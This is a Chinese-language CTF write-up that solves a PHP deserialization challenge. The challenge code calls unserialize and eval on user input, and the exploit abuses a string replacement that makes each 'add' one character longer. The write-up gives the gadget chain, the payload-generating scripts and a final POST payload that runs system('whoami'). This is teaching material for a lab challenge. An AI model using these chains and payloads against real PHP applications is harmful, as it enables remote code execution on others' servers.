记一次简单的PHP反序列化字符串溢出
今天朋友给的一道题,让我看看,来源不知,随手记一下
<?php
// where is flag
error_reporting(0);
class NFCTF{
public $ming,$id,$payload,$nothing;
function __construct($iii){
$this->ming=$iii;
}
function __wakeup(){
if($this->id==="NFCTF"){
$tmp = base64_decode($this->payload);
$this->nothing=unserialize($tmp);
}
else{
die("you nonono!!!");
}
}
}
class xiaohuolong{
public $x;
function heeko(){
echo "heeko";
}
function __toString(){
$this->x->nice();
}
}
class kabishou{
public $m;
public $y;
public $h;
function __wakeup(){
$this->setm();
}
function setm(){
$this->_m = "";
}
function __destruct(){
$this->y=$this->h;
die($this->m);
}
}
class jienigui{
public $pay;
function nice(){
eval($this->pay);
}
}
$cmd=$_POST["cmd"];
if(isset($cmd))
{
$newdata=serialize(new NFCTF($cmd));
$redata=str_replace("add","addd",$newdata);
unserialize($redata);
}else{
highlight_file(__FILE__);
}
首先是触发到eval($this->pay);
的链子,很简单
jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct()
<?php
class xiaohuolong{
public $x;
function heeko(){
echo "heeko";
}
function __toString(){
$this->x->nice();
}
}
class kabishou{
public $m;
public $y;
public $h;
function __wakeup(){
$this->setm();
}
function setm(){
$this->_m = "";
}
function __destruct(){
$this->y=$this->h;
die($this->m);
}
}
class jienigui{
public $pay;
function nice(){
eval($this->pay);
}
}
$jienigui = new jienigui();
$jienigui -> pay = "system('whoami');";
$xiaohuolong = new xiaohuolong();
$xiaohuolong -> x = $jienigui;
$kabishou = new kabishou();
$kabishou -> m = $xiaohuolong;
echo base64_encode(serialize($kabishou))."\n";
PS C:\Users\Administrator\Downloads> php .\test.php
Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9
mochu7\administrator
PS C:\Users\Administrator\Downloads>
然后就是将Base64编码后的这条链的序列化字符串,赋值给$this->payload
,使其在NFCTF::__wakeup()
触发反序列化,然后NFCTF
这个类,传参可控的是属性是$this->ming
,替换规则是每出现一个add
就替换为addd
,长度变化为+1
把Base64的payload放进去,$this->id
设置好,参考序列化的之后的字符串更直观
<?php
class NFCTF{
public $ming,$id,$payload,$nothing;
function __construct($iii){
$this->ming=$iii;
}
function __wakeup(){
if($this->id==="NFCTF"){
$tmp = base64_decode($this->payload);
$this->nothing=unserialize($tmp);
}
else{
die("you nonono!!!");
}
}
}
class xiaohuolong{
public $x;
function heeko(){
echo "heeko";
}
function __toString(){
$this->x->nice();
}
}
class kabishou{
public $m;
public $y;
public $h;
function __wakeup(){
$this->setm();
}
function setm(){
$this->_m = "";
}
function __destruct(){
$this->y=$this->h;
die($this->m);
}
}
class jienigui{
public $pay;
function nice(){
eval($this->pay);
}
}
$NFCTF = new NFCTF('mochu7');
$NFCTF -> id = "NFCTF";
$NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";
echo serialize($NFCTF);
// O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}
我们要控制注入进去的对象属性是$this->id
、$this->payload
,也就是后面选中的这长度为239
的字符串,包含开头的";
,因为需要闭合$this->ming
的内容格式才能被正确反序列化的。
明确了需要注入的payload长度为239
,就可以设置替换字符为'add'*239
,经过str_replace("add","addd",$newdata);
就是'addd'*239
,长度变化为+239
,正好可以将后面这串 payload 挤出$this->ming
的内容范围。如下图所示:
所示执行system("whoami")
的命令的payload最终payload如下
cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}
即你需要注入的payload长度为多少,就构造能溢出多少长度的替换字符串。